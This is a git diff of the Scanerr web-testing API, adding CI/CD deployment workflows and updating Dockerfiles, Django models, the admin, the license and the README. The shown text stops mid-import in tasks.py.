diff --git a/.github/workflows/dev-deploy.yaml b/.github/workflows/dev-deploy.yaml new file mode 100644 index 00000000..9de39732 --- /dev/null +++ b/.github/workflows/dev-deploy.yaml @@ -0,0 +1,31 @@ +name: Deploy to dev + +# Controls when the action will run. +on: + # Triggers the workflow on push request on the main branch for changes in the specified paths. + push: + branches: + - dev + paths: + - 'app/**' + - 'Dockerfile' + - 'Dockerfile.dev' + - 'docker-compose.dev.yml' + - '.github/workflows/**' + +jobs: + build: + name: Build + runs-on: ubuntu-latest + steps: + - name: pulling latest dev commit and rebuilding app + uses: appleboy/ssh-action@v1.0.0 + with: + host: ${{ secrets.DEV_HOST }} + username: ${{ secrets.DEV_USER }} + key: ${{ secrets.DEV_KEY }} + script: | + cd ~/app + git pull origin dev + docker compose -f docker-compose.dev.yml down + docker compose -f docker-compose.dev.yml up -d --build \ No newline at end of file diff --git a/.github/workflows/k8s-deploy.yaml b/.github/workflows/k8s-deploy.yaml new file mode 100644 index 00000000..4863cb6e --- /dev/null +++ b/.github/workflows/k8s-deploy.yaml @@ -0,0 +1,69 @@ +# This workfow shows how to build a Docker image, tag and push it to DigitalOcean Container Registry, and +# deploy the application on a DIgitalOcean Kubernetes cluster. For description to the entire worklow, +# see www.digitalocean.com/docs/kubernetes/how-to/deploy-using-github-actions. + +name: Deploy to scanerr-k8s + +# Controls when the action will run. +on: + # Triggers the workflow on push request on the main branch for changes in the specified paths. + push: + branches: + - main + paths: + - 'app/**' + - 'k8s/prod/**' + - 'Dockerfile' + - '.github/workflows/**' + +# A workflow run is made up of one or more jobs that can run sequentially or in parallel. +jobs: + # This workflow contains a single job called "build". + build: + # The type of runner that the job will run on. + runs-on: ubuntu-latest + + # Steps represent a sequence of tasks that will be executed as part of the job + steps: + + # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it. + - name: Checkout main + uses: actions/checkout@main + + # Install doctl. + - name: Install doctl + uses: digitalocean/action-doctl@v2 + with: + token: ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN }} + + # Build a Docker image of your application in your registry and tag the image with the $GITHUB_SHA. + - name: Build container image + run: docker build -t ${{ secrets.REGISTRY_NAME }}/server:$(echo $GITHUB_SHA | head -c7) . + + - name: Log in to DigitalOcean Container Registry with short-lived credentials + # run: doctl registry login --expiry-seconds 1200 + run: docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASS }} + + - name: Push image to DigitalOcean Container Registry + run: docker image push ${{ secrets.REGISTRY_NAME }}/server:$(echo $GITHUB_SHA | head -c7) + + # Update deployment files to reflect new build. + - name: Update app deployment file + run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's||${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/app-deployment.yaml + + - name: Update celery deployment file + run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's||${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yaml + + - name: Save DigitalOcean kubeconfig with short-lived credentials + run: doctl kubernetes cluster kubeconfig save --expiry-seconds 600 ${{ secrets.CLUSTER_NAME }} + + # Re-deploy app and Celery + - name: Deploy app + run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/app-deployment.yaml + - name: Deploy celery + run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yaml + + - name: Verify app + run: kubectl rollout status deployment/app-deployment + - name: Verify celery + run: kubectl rollout status deployment/celery-deployment diff --git a/.gitignore b/.gitignore index 780009eb..82919490 100644 --- a/.gitignore +++ b/.gitignore @@ -1,22 +1,23 @@ -app/api/utils/testing_stuff.py -app/data* -app/api/utils/__pycache__/tester.cpython-38.pyc +db.sqlite3 .DS_Store + *__pycache__* -db.sqlite3 *.pyc __pycache__ __pycache__/ */__pycache__/* **/__pycache__/ -server/app/env* + env/.env.local env/.env.dev env/.env.prod +env/.env.stage env/.env.prod.db + +app/data* app/static* -Dockerfile.alpine -Dockerfile.dev1 -Dockerfile.dev3 app/api/migrations/*_*.py + k8s/*/*-configs.yaml +k8s/prod/old_configs/* + diff --git a/Dockerfile b/Dockerfile index c1f55754..6ae05831 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,6 +1,19 @@ +# pull main python image FROM python:3.9-slim ENV PYTHONUNBUFFERED 1 +# increasing allocated memory to node +ENV NODE_OPTIONS --max_old_space_size=20000 +ENV NODE_OPTIONS "--max-old-space-size=20000" +ENV GENERATE_SOURCEMAP false + +# telling Puppeteer to skip installing Chrome +ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true + +# telling phantomas where Chrome binary is and that we're in docker +ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium +ENV DOCKERIZED yes + # create the app user RUN addgroup --system app && adduser --system app @@ -10,33 +23,34 @@ RUN apt-get update && apt-get install -y python3 python3-pip # installing system deps RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \ gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ - libfontconfig + libfontconfig -# installing node and npm +# installing node and npm --> n lts RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \ - && npm install -g n && n lts - -# increasing allocated memory to node -RUN export NODE_OPTIONS="--max-old-space-size=4096" + && npm install -g n \ + && n lts -# installing lighthouse & yellowlabtools -RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools +# cleaning npm +RUN npm cache clean --force +# installing lighthouse +RUN npm install -g lighthouse@11.7.1 lighthouse-plugin-crux lodash yellowlabtools -# telling Puppeteer to skip installing Chrome -ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true - -# telling phantomas where Chromium binary is and that we're in docker -ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium -ENV DOCKERIZED yes - -# setting --no-sandbox for Phantomas +# setting --no-sandbox & --disable-dev-shm-usage RUN chromium --no-sandbox --version +RUN chromium --disable-dev-shm-usage --version # installing requirements -COPY ./requirements.txt /requirements.txt +COPY ./setup/requirements/requirements.txt /requirements.txt RUN python3 -m pip install -r /requirements.txt +# Set up the Chromium environment +ENV XDG_CONFIG_HOME /tmp/.chromium +ENV XDG_CACHE_HOME /tmp/.chromium + +# removing chromium config +RUN rm -rf ~/.config/chromium + # setting working dir RUN mkdir /app COPY ./app /app @@ -44,4 +58,11 @@ WORKDIR /app # setting ownership RUN chown -R app:app /app -RUN chown -R app:app /usr/bin/chromium \ No newline at end of file +RUN chown -R app:app /usr/bin/chromium +RUN chown -R app:app /usr/bin/chromedriver +RUN chmod +x /usr/bin/chromedriver + +# staring up services +COPY ./setup/scripts/remote-entrypoint.sh "/remote-entrypoint.sh" +ENTRYPOINT [ "/remote-entrypoint.sh" ] + diff --git a/Dockerfile.local b/Dockerfile.local new file mode 100644 index 00000000..18ff2646 --- /dev/null +++ b/Dockerfile.local @@ -0,0 +1,65 @@ +FROM --platform=linux/amd64 ubuntu:latest +ENV DOCKER_DEFAULT_PLATFORM linux/amd64 +ENV PYTHONUNBUFFERED 1 +ENV DEBIAN_FRONTEND noninteractive + +# create the app user +RUN groupadd --system app & useradd --system app + +# installing python3 & pip +RUN apt-get update && apt-get install -y python3.10 python3-pip + +# installing system deps || chromium-browser chromium-driver +RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \ + gfortran openssl libpq-dev curl libjpeg-dev libfontconfig + +# extra packages +RUN apt-get install -y libglib2.0-0 libsm6 libxrender1 libxext6 libgl1 + +# installing node and npm +RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \ + && npm install -g n && n lts + +# installing google-chrome-stable +RUN curl -LO https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb +RUN apt-get install -y ./google-chrome-stable_current_amd64.deb +RUN rm google-chrome-stable_current_amd64.deb + +# begin npm portion +RUN npm cache clean --force + +# increasing allocated memory to node +RUN export NODE_OPTIONS="--max-old-space-size=4096" +ENV NODE_OPTIONS=--max_old_space_size=7000 +ENV NODE_OPTIONS="--max-old-space-size=7000" + +# installing lighthouse & yellowlabtools +RUN npm install -g lighthouse lighthouse-plugin-crux lodash + +# telling Puppeteer to skip installing Chrome +ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true + +# telling phantomas where Chrome binary is and that we're in docker +ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/google-chrome-stable +ENV DOCKERIZED yes + +# setting --no-sandbox for Phantomas +RUN google-chrome-stable --no-sandbox --version + +# installing requirements +RUN python3 -m pip install --break-system-packages --upgrade setuptools +COPY ./setup/requirements/requirements-staging.txt /requirements-staging.txt +RUN python3 -m pip install --break-system-packages -r /requirements-staging.txt + +# setting working dir +RUN mkdir /app +COPY ./app /app +WORKDIR /app + +# setting ownership +RUN chown -R app:app /app +RUN chown -R app:app /usr/bin/google-chrome-stable + +# staring up services +COPY ./setup/scripts/local-entrypoint.sh "/local-entrypoint.sh" +ENTRYPOINT [ "/local-entrypoint.sh" ] diff --git a/Dockerfile.prod b/Dockerfile.prod deleted file mode 100644 index eb8edf96..00000000 --- a/Dockerfile.prod +++ /dev/null @@ -1,52 +0,0 @@ -FROM python:3.9-slim -ENV PYTHONUNBUFFERED 1 - -# create the app user -RUN addgroup --system app && adduser --system app - -# installing python3 & pip -RUN apt-get update && apt-get install -y python3 python3-pip - -# installing system deps -RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \ - gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ - libfontconfig git - -# installing node and npm -RUN apt-get update && apt-get install nodejs npm -y \ - && npm install -g n && n lts - -RUN npm cache clean --force - -# increasing allocated memory to node -# RUN export NODE_OPTIONS="--max-old-space-size=7000" -# RUN export NODE_OPTIONS="--stack-size=262000" -ENV NODE_OPTIONS=--max_old_space_size=7000 -ENV NODE_OPTIONS="--max-old-space-size=7000" -# ENV NODE_OPTIONS=--stack-size=262000 - -# installing lighthouse & yellowlabtools -RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools - -# telling Puppeteer to skip installing Chrome -ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true - -# telling phantomas where Chromium binary is and that we're in docker -ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium -ENV DOCKERIZED yes - -# setting --no-sandbox for Phantomas -RUN chromium --no-sandbox --version - -# installing requirements -COPY ./requirements.txt /requirements.txt -RUN python3 -m pip install -r /requirements.txt - -# setting working dir -RUN mkdir /app -COPY ./app /app -WORKDIR /app - -# setting ownership -RUN chown -R app:app /app -RUN chown -R app:app /usr/bin/chromium \ No newline at end of file diff --git a/LICENSE.md b/LICENSE.md index ea474ece..97c65594 100644 --- a/LICENSE.md +++ b/LICENSE.md @@ -1,9 +1,11 @@ -Copyright (c) 2023 Scanerr +Copyright (c) 2024 Scanerr Scanerr Commercial Software License Terms 1. Order. These terms, together with the order referencing them, make up a software license agreement. The software, the developer, and the customer are all identified on the order. +(i) Software: Scanerr +(ii) Developer: Grey Labs, LLC (https://greylabs.io) 2. Versions. This agreement covers the specific version of the software on the order, plus any new versions of the software that the vendor makes generally available, or specifically provides to the customer, while this agreement continues. 3. Modifications. The customer may make changes to the software’s source code, compile those changes, and run changed versions of the software. 4. Billing. @@ -15,7 +17,7 @@ Scanerr Commercial Software License Terms 6. Use. (a) Permitted Use. The customer may use the software only for its own computing needs and those of its subsidiaries and corporate affiliates. (b) Prohibited Uses. The customer may not: -(i) sell, lease, license, or sublicense the software or documentation +(i) sell, lease, license, or sublicense the software or documentation (ii) allow access to the software by others not licensed under this agreement (iii) share copies of the software or documentation with with others not licensed under this agreement (iv) make so much of the functionality of the software available to others as software-as-a-service that the service competes with the software for customers diff --git a/README.md b/README.md index d7c28503..08ac9f10 100644 --- a/README.md +++ b/README.md @@ -1,146 +1,18 @@ # Scanerr Server (API repo) -[![Build Status](http://img.shields.io/travis/badges/badgerbadgerbadger.svg?style=flat-square)](https://api.scanerr.io) +![Build Status](https://github.com/scanerr-io/server/actions/workflows/k8s-deploy.yaml/badge.svg) -This is the server repo for the Scanerr API, an error detection service designed to run front-end tests on web-apps and sites. This service is fully dockertized for local dev/testing as well as deployed environments. +This is the server repo for the Scanerr API, an error detection service designed to run front-end tests on web applications. This service is fully dockertized for local dev/testing as well as deployed environments. > This software is only intended for internal white-label use and is not licensed for redristibution. See LICENSE for more information. -Copyright © Scanerr 2023 +Copyright © Scanerr 2024 --- -## Table of Contents +## Guides +- [Server Deployment](notes/Deployment.md) +- [k8s Deployment](notes/Kubernetes.md) - -#### Env's and deployment -- [Scanerr Server (API repo)](#scanerr-server-api-repo) - - [Table of Contents](#table-of-contents) - - [Env's and deployment](#envs-and-deployment) - - [Environment](#environment) - - [Local](#local) - - [Remote](#remote) - - [Scripts](#scripts) - - - - ---- - - -## Environment - -Prior to running app, configure all env's located in the /env directory. There are example .env files for both production and local environments marked `.env.dev.example` and `.env.prod.example`. Prior to running the app, be sure to update with your unique keys, domains, passwords, etc, and remove the `.example` extention from the files. **Never store actual .env's in a repo.** Things to change: -- high level django configs -- admin credentials -- email credentials -- database configs -- google API keys -- stripe keys -- OAuth keys -- twilio credentials -- slack credentials -- s3 remote storage credentials - - - ---- - - -## Local -Install and run locally on your machine in a dev environment. - -> Ensure you have Docker and Docker-desktop installed and running on your machine prior to this step. - -```shell -$ pip3 install virtualenv -$ virtualenv appenv -$ source appenv/bin/activate -$ mkdir app -$ git clone https://github.com/Scanerr-io/server.git -``` -*Spin-up the application* -```shell -$ docker compose up --build -``` -*Spin-down the application* -```shell -$ docker compose up down -``` - - - ---- - - -## Remote -Install and deploy remotely in a production environment. - -> Ensure you have Docker installed and running on your server prior to this step. - -*Server configurations for Ubuntu 20.04* -``` shell -$ ssh root@your_server_ip -# apt update -# apt upgrade -# adduser {user} -# usermod -aG sudo {user} -# ufw allow OpenSSH -# ufw enable -# su {user} -``` - -*Add user to docker group* -```shell -$ sudo usermod -aG docker {user} -$ newgrp docker -``` - -*Generate SSH keys for GitHub* -``` shell -$ ssh-keygen -t ed25519 -C "your_github_email@example.com" -``` -- press `Enter` 3 times -```shell -$ eval "$(ssh-agent -s)" -$ ssh-add ~/.ssh/id_ed25519 -$ cat ~/.ssh/id_ed25519.pub -``` -- copy key to clipboard and paste in GutHub - - -*Create a dir to clone the app into* -``` shell -$ cd ~ -$ mkdir app -$ cd app -$ git clone https://github.com/Scanerr-io/server.git -``` -*Spin-up the application* -```shell -$ docker compose -f docker-compose.prod.yml up -d --build -``` -*Spin-down the application* -```shell -$ docker compose -f docker-compose.prod.yml down -``` -*Spin-down the application and removes the volumes* -```shell -$ docker-compose -f docker-compose.prod.yml down -v -``` - - - - ---- - - - -## Scripts - -*ssh into container* -``` shell -$ docker exec -it /bin/sh -``` diff --git a/app/api/admin.py b/app/api/admin.py index 16e08a0b..141e7060 100644 --- a/app/api/admin.py +++ b/app/api/admin.py @@ -3,69 +3,103 @@ from datetime import datetime + + + + @admin.register(Site) class SiteAdmin(admin.ModelAdmin): - list_display = ('site_url', 'user', 'time_created') + list_display = ('site_url', 'account', 'time_created') search_fields = ('site_url',) + + +@admin.register(Page) +class SiteAdmin(admin.ModelAdmin): + list_display = ('page_url', 'account', 'time_created') + search_fields = ('page_url',) + + + + @admin.register(Test) class TestAdmin(admin.ModelAdmin): - list_display = ('id', 'site', 'time_created', 'time_completed', 'type') - search_fields = ('site',) + list_display = ('id', 'page', 'time_created', 'time_completed', 'type') + search_fields = ('page',) + + @admin.register(Scan) class ScanAdmin(admin.ModelAdmin): - list_display = ('id', 'site', 'time_created', 'time_completed') - search_fields = ('site',) + list_display = ('id', 'page', 'time_created', 'time_completed') + search_fields = ('page',) actions = ['mark_as_completed',] def mark_as_completed(self, request, queryset): queryset.update(time_completed=datetime.now()) + + @admin.register(Account) class AccountAdmin(admin.ModelAdmin): list_display = ('__str__', 'time_created', 'type') search_fields = ('__str__',) + + @admin.register(Member) class MemberAdmin(admin.ModelAdmin): list_display = ('user', 'account', 'time_created', 'type', 'status') search_fields = ('user__username', 'account__name') + + @admin.register(Card) class CardAdmin(admin.ModelAdmin): list_display = ('__str__', 'brand', 'last_four') search_fields = ('last_four',) + + @admin.register(Report) class ReportAdmin(admin.ModelAdmin): list_display = ('__str__', 'time_created', 'user') + + @admin.register(Log) class LogAdmin(admin.ModelAdmin): list_display = ('__str__', 'time_created', 'status', 'user') + + @admin.register(Schedule) class ScheduleAdmin(admin.ModelAdmin): list_display = ('__str__', 'time_created', 'status', 'user') + + @admin.register(Automation) class AutomationAdmin(admin.ModelAdmin): list_display = ('__str__', 'time_created', 'schedule', 'user') + + @admin.register(Process) class ProcessAdmin(admin.ModelAdmin): - list_display = ('__str__', 'time_created', 'time_completed', 'progress', 'successful') + list_display = ('__str__', 'time_created', 'time_completed', 'progress', 'success') + + @admin.register(Case) @@ -73,11 +107,15 @@ class CaseAdmin(admin.ModelAdmin): list_display = ('__str__', 'user', 'time_created',) + + @admin.register(Testcase) class TestcaseAdmin(admin.ModelAdmin): list_display = ('__str__', 'user', 'time_created', 'time_completed',) + + @admin.register(Mask) class MaskAdmin(admin.ModelAdmin): list_display = ('__str__', 'mask_id', 'active', 'time_created',) @@ -88,4 +126,8 @@ def mark_as_inactive(self, request, queryset): queryset.update(active=False) def mark_as_active(self, request, queryset): - queryset.update(active=True) \ No newline at end of file + queryset.update(active=True) + + + + \ No newline at end of file diff --git a/app/api/management/commands/check_celery_tasks.py b/app/api/management/commands/check_celery_tasks.py new file mode 100644 index 00000000..57221864 --- /dev/null +++ b/app/api/management/commands/check_celery_tasks.py @@ -0,0 +1,32 @@ +from scanerr import celery +from django.core.management.base import BaseCommand +import time, os + +# checking if celery tasks have completed running + +class Command(BaseCommand): + + def handle(self, *args, **options): + + this_pod = f"celery@{str(os.environ.get('THIS_POD_NAME'))}" + + def get_task_list(): + # Inspect all nodes. + i = celery.app.control.inspect() + # Tasks received, but are still waiting to be executed. + reserved = i.reserved()[this_pod] + print(f'Reserved tasks -> {str(reserved)}') + # Active tasks + active = i.active()[this_pod] + print(f'Active tasks -> {str(reserved)}') + tasks = len(active) + len(reserved) + + # get length of active and reserved task lists + tasks = get_task_list() + + # waiting for tasks to complete + while tasks > 0: + time.sleep(10) + tasks = get_task_list() + + \ No newline at end of file diff --git a/app/api/models.py b/app/api/models.py index 72e5b54d..27135ca6 100644 --- a/app/api/models.py +++ b/app/api/models.py @@ -1,5 +1,4 @@ from django.db import models -from django.db import models from django.utils import timezone from django.urls import reverse from django.contrib.auth.models import User @@ -8,6 +7,10 @@ import uuid + + + + def get_info_default(): info_default = { 'latest_scan': { @@ -33,7 +36,7 @@ def get_info_default(): 'yellowlab': { 'globalScore': None, 'pageWeight': None, - 'requests': None, + 'images': None, 'domComplexity': None, 'javascriptComplexity': None, 'badJavascript': None, @@ -53,6 +56,31 @@ def get_info_default(): + +def get_small_info_default(): + info_default = { + 'latest_scan': { + 'id': None, + 'time_created': None, + 'time_completed': None, + }, + 'latest_test': { + 'id': None, + 'time_created': None, + 'time_completed': None, + 'score': None + }, + 'status': { + 'health': None, + 'badge': 'neutral', + 'score': None, + }, + } + return info_default + + + + def get_lh_delta_default(): lh_delta_default = { "scores": { @@ -70,12 +98,13 @@ def get_lh_delta_default(): + def get_yl_delta_default(): yl_delta_default = { "scores": { "average_delta": None, "pageWeight_delta": None, - "requests_delta": None, + "images_delta": None, "domComplexity_delta": None, "javascriptComplexity_delta": None, "badJavascript_delta": None, @@ -90,6 +119,7 @@ def get_yl_delta_default(): + def get_lh_default(): lh_default = { "scores": { @@ -101,25 +131,19 @@ def get_lh_default(): "crux": None, "average": None }, - "audits": { - "seo": [], - "performance": [], - "accessibility": [], - "best-practices": [], - "pwa": [], - "crux": [] - }, + "audits": None, } return lh_default + def get_yl_default(): yl_default = { "scores": { "globalScore": None, "pageWeight": None, - "requests": None, + "images": None, "domComplexity": None, "javascriptComplexity": None, "badJavascript": None, @@ -129,23 +153,13 @@ def get_yl_default(): "fonts": None, "serverConfig": None, }, - "audits": { - "pageWeight": [], - "requests": [], - "domComplexity": [], - "javascriptComplexity": [], - "badJavascript": [], - "jQuery": [], - "cssComplexity": [], - "badCSS": [], - "fonts": [], - "serverConfig": [], - }, + "audits": None, } return yl_default + def get_expressions_default(): expressions_default = { 'list': [ @@ -161,6 +175,7 @@ def get_expressions_default(): + def get_actions_default(): actions_default = { 'list': [ @@ -199,6 +214,7 @@ def get_steps_default(): + def get_scores_default(): scores_default = { 'html': None, @@ -211,6 +227,7 @@ def get_scores_default(): + def get_slack_default(): slack_default = { "slack_name": None, @@ -223,6 +240,8 @@ def get_slack_default(): return slack_default + + def get_tags_default(): tags_default = None, return tags_default @@ -234,16 +253,24 @@ class Account(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) name = models.CharField(max_length=1000, serialize=True, null=True, blank=True) user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True) + phone = models.CharField(max_length=50, serialize=True, null=True, blank=True) active = models.BooleanField(default=False, serialize=True) time_created = models.DateTimeField(default=timezone.now, serialize=True) type = models.CharField(max_length=1000, serialize=True, null=True, blank=True, default='free') code = models.CharField(max_length=1000, serialize=True, null=True, blank=True) max_sites = models.IntegerField(serialize=True, null=True, blank=True, default=1) + max_pages = models.IntegerField(serialize=True, null=True, blank=True, default=3) + max_schedules = models.IntegerField(serialize=True, null=True, blank=True, default=0) + retention_days = models.IntegerField(serialize=True, null=True, blank=True, default=3) + testcases = models.BooleanField(default=False, serialize=False) cust_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) sub_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) product_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) price_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + price_amount = models.IntegerField(serialize=True, null=True, blank=True, default=0) + interval = models.CharField(max_length=50, serialize=True, null=True, blank=True, default='month') slack = models.JSONField(serialize=True, null=True, blank=True, default=get_slack_default) + meta = models.JSONField(serialize=True, null=True, blank=True) def __str__(self): return self.user.email @@ -282,14 +309,15 @@ def __str__(self): - class Site(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) site_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True) time_created = models.DateTimeField(default=timezone.now, serialize=True) + time_crawl_started = models.DateTimeField(serialize=True, null=True, blank=True) + time_crawl_completed = models.DateTimeField(serialize=True, null=True, blank=True) user = models.ForeignKey(User, on_delete=models.SET_NULL, serialize=True, null=True, blank=True) account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True) - info = models.JSONField(serialize=True, null=True, blank=True, default=get_info_default) + info = models.JSONField(serialize=True, null=True, blank=True, default=get_small_info_default) tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default) def __str__(self): @@ -297,14 +325,32 @@ def __str__(self): + +class Page(models.Model): + id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) + site = models.ForeignKey(Site, on_delete=models.CASCADE, serialize=True, blank=True) + page_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + time_created = models.DateTimeField(default=timezone.now, serialize=True) + user = models.ForeignKey(User, on_delete=models.SET_NULL, serialize=True, null=True, blank=True) + account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True) + info = models.JSONField(serialize=True, null=True, blank=True, default=get_info_default) + tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default) + + def __str__(self): + return f'{self.page_url}' + + + + class Scan(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) site = models.ForeignKey(Site, on_delete=models.CASCADE, serialize=True, blank=True) + page = models.ForeignKey(Page, on_delete=models.CASCADE, serialize=True, blank=True) paired_scan = models.ForeignKey('self', on_delete=models.SET_NULL, serialize=True, null=True, blank=True) type = models.JSONField(serialize=True, null=True, blank=True) time_created = models.DateTimeField(default=timezone.now, serialize=True) time_completed = models.DateTimeField(serialize=True, null=True, blank=True) - html = models.TextField(serialize=True, null=True, blank=True) + html = models.CharField(max_length=5000, serialize=True, null=True, blank=True) logs = models.JSONField(serialize=True, null=True, blank=True) images = models.JSONField(serialize=True, null=True, blank=True) lighthouse = models.JSONField(serialize=True, null=True, blank=True, default=get_lh_default) @@ -317,9 +363,11 @@ def __str__(self): + class Test(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) site = models.ForeignKey(Site, on_delete=models.CASCADE, serialize=True) + page = models.ForeignKey(Page, on_delete=models.CASCADE, serialize=True, blank=True) time_created = models.DateTimeField(default=timezone.now, serialize=True) time_completed = models.DateTimeField(serialize=True, null=True, blank=True) type = models.JSONField(serialize=True, null=True, blank=True) @@ -327,7 +375,7 @@ class Test(models.Model): post_scan = models.ForeignKey(Scan, on_delete=models.SET_NULL, serialize=True, null=True, blank=True, related_name='post_scan') score = models.FloatField(serialize=True, null=True, blank=True) component_scores = models.JSONField(serialize=True, null=True, blank=True, default=get_scores_default) - html_delta = models.JSONField(serialize=True, null=True, blank=True) + html_delta = models.CharField(max_length=5000, serialize=True, null=True, blank=True) logs_delta = models.JSONField(serialize=True, null=True, blank=True) lighthouse_delta = models.JSONField(serialize=True, null=True, blank=True, default=get_lh_delta_default) yellowlab_delta = models.JSONField(serialize=True, null=True, blank=True, default=get_yl_delta_default) @@ -345,6 +393,7 @@ def __str__(self): class Schedule(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True) + page = models.ForeignKey(Page, on_delete=models.CASCADE, null=True, blank=True, serialize=True) automation = models.ForeignKey('Automation', on_delete=models.SET_NULL, null=True, blank=True, serialize=True, related_name='assoc_auto') time_created = models.DateTimeField(default=datetime.now, null=True, blank=True, serialize=True) user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True) @@ -361,7 +410,14 @@ class Schedule(models.Model): extras = models.JSONField(serialize=True, null=True, blank=True) def __str__(self): - return f'{self.site.site_url}__{self.task_type}' + if self.site is not None: + url = self.site.site_url + level = 'site' + if self.page is not None: + url = self.page.site.site_url + level = 'page' + + return f'{url}_{self.task_type}_{level}' @@ -382,10 +438,10 @@ def __str__(self): - class Report(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True) + page = models.ForeignKey(Page, on_delete=models.CASCADE, null=True, blank=True, serialize=True) user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True) account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True) time_created = models.DateTimeField(default=timezone.now, serialize=True) @@ -394,8 +450,7 @@ class Report(models.Model): info = models.JSONField(serialize=True, null=True, blank=True) def __str__(self): - return f'{self.site.site_url}__report' - + return f'{self.page.page_url}__report' @@ -405,12 +460,15 @@ class Case(models.Model): name = models.CharField(max_length=1000, serialize=True, null=True, blank=True) user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True) account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True) + site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True) + site_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True) time_created = models.DateTimeField(default=timezone.now, serialize=True) steps = models.JSONField(serialize=True, null=True, blank=True, default=get_steps_default) + type = models.CharField(max_length=1000, serialize=True, null=True, blank=True) tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default) def __str__(self): - return f'{self.name}' + return f'{self.name}' if len(self.name) > 0 else str(id) @@ -434,8 +492,6 @@ def __str__(self): - - class Mask(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) time_created = models.DateTimeField(default=timezone.now, serialize=True) @@ -451,10 +507,13 @@ def __str__(self): class Process(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True) - type = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + account = models.ForeignKey(Account, on_delete=models.CASCADE, null=True, blank=True, serialize=True) + type = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # Test, Testcase, Case, Flow, Scan, Crawl time_created = models.DateTimeField(default=timezone.now, serialize=True) time_completed = models.DateTimeField(serialize=True, null=True, blank=True) - successful = models.BooleanField(serialize=True, default=False) + success = models.BooleanField(serialize=True, default=False) + exception = models.TextField(serialize=True, null=True, blank=True) + info = models.JSONField(serialize=True, null=True, blank=True) info_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True) progress = models.FloatField(serialize=True, null=True, blank=True) @@ -476,3 +535,6 @@ class Log(models.Model): def __str__(self): return f'{self.status}__{self.request_type}__{self.path}' + + + diff --git a/app/api/tasks.py b/app/api/tasks.py index d242b559..8609934f 100644 --- a/app/api/tasks.py +++ b/app/api/tasks.py @@ -1,143 +1,926 @@ -from __future__ import absolute_import, unicode_literals -from typing import Any from celery.utils.log import get_task_logger -from celery import shared_task -from celery import Task as BaseTask -from .v1.ops.tasks import ( - create_site_task, create_scan_task, run_html_and_logs_task, - run_vrt_task, run_lighthouse_task, run_yellowlab_task, - create_test_task, create_report_task, delete_report_s3, - delete_site_s3, create_testcase_task, migrate_site_task, - delete_testcase_s3, - +from celery import shared_task, Task +from .utils.crawler import Crawler +from .utils.scanner import Scanner as S +from .utils.tester import Tester as T +from .utils.reporter import Reporter as R +from .utils.wordpress import Wordpress as W +from .utils.wordpress_p import Wordpress as W_P +from .utils.automater import Automater +from .utils.caser import Caser +from .utils.autocaser import AutoCaser +from 